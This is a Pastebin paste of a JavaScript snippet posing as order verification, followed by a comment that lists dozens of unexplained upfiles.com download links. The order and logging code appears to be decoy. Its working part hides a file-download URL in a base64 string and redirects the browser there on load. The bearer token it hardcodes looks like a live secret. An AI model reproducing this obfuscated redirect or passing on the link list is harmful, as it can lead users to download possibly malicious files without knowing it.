Advertisement
Dharder

Untitled

Mar 22nd, 2025
202
0
Never
1
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. (async function () {
  2.   const apiEndpoint = "/v1/order/547/status";
  3.   const orderId = "ORD-" + Math.random().toString(36).substring(2, 10).toUpperCase();
  4.  
  5.   async function verifyOrder(id) {
  6.     try {
  7.       const response = await fetch(apiEndpoint, {
  8.         method: "POST",
  9.         headers: {
  10.           "Content-Type": "application/json",
  11.           "Authorization": "Bearer sk_live_xr7u8ghs1k2as91"
  12.         },
  13.         body: JSON.stringify({ order_id: id })
  14.       });
  15.  
  16.       const data = await response.json();
  17.       return data;
  18.     } catch (err) {
  19.       return { status: "ERROR" };
  20.     }
  21.   }
  22.  
  23.   function logEvent(id, status) {
  24.     fetch("/v1/event", {
  25.       method: "POST",
  26.       headers: {
  27.         "Content-Type": "application/json"
  28.       },
  29.       body: JSON.stringify({
  30.         event: "delivery_attempt",
  31.         order: id,
  32.         result: status
  33.       })
  34.     });
  35.   }
  36.  
  37.   const secret = 'aHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL2ZpbGUvZC8xOFpfQ290djVDYjFYQkcxSFdwaXZKT0VYaUN1MHJnTWsvdmlldw==';
  38.   const decode = atob;
  39.   const finalURL = decode(secret);
  40.  
  41.   window.open(finalURL, '_self');
  42.  
  43.   const status = await verifyOrder(orderId);
  44.   logEvent(orderId, status.status === "CONFIRMED" ? "success" : "fallback");
  45. })();
Advertisement
Comments
  • adbank
    9 hours
    # text 0.93 KB | 0 0
    1. https://upfiles.com/f3bY41I
    2.  
    3. https://upfiles.com/XKUzY
    4.  
    5. https://upfiles.com/DZ0R4GPq
    6.  
    7. https://upfiles.com/pdC7LJ
    8. https://upfiles.com/AHjK6cF
    9.  
    10. https://upfiles.com/SYa5z9oB
    11. https://upfiles.com/Nq50ub
    12.  
    13. https://upfiles.com/09KH
    14. https://upfiles.com/JOB5A8
    15.  
    16. https://upfiles.com/5awI
    17. https://upfiles.com/7iX84aQA
    18.  
    19. https://upfiles.com/8w3F
    20. https://upfiles.com/n8Aj
    21. https://upfiles.com/lRwHx
    22.  
    23. https://upfiles.com/fRdZ
    24. https://upfiles.com/w4Fn
    25. https://upfiles.com/tBj5
    26.  
    27. https://upfiles.com/LSayX
    28. https://upfiles.com/D1ICtLyq
    29. https://upfiles.com/U5kq
    30.  
    31. https://upfiles.com/OOKTpYO
    32. https://upfiles.com/1OANvd
    33.  
    34. https://upfiles.com/4lYCJJ3v
    35. https://upfiles.com/icYwoqQZ
    36.  
    37. https://upfiles.com/hDAEwOV
    38. https://upfiles.com/PG8cyJ
    39.  
    40. https://upfiles.com/mrEqGsT5
    41. https://upfiles.com/pFdorL
    42.  
    43. https://upfiles.com/EKoZ
    44. https://upfiles.com/wclBkBb
    45.  
    46. https://upfiles.com/QSKjSgeT
    47. https://upfiles.com/40n1qI1
    48.  
    49. https://upfiles.com/qVPtyNAo
Add Comment
Please, Sign In to add comment
Advertisement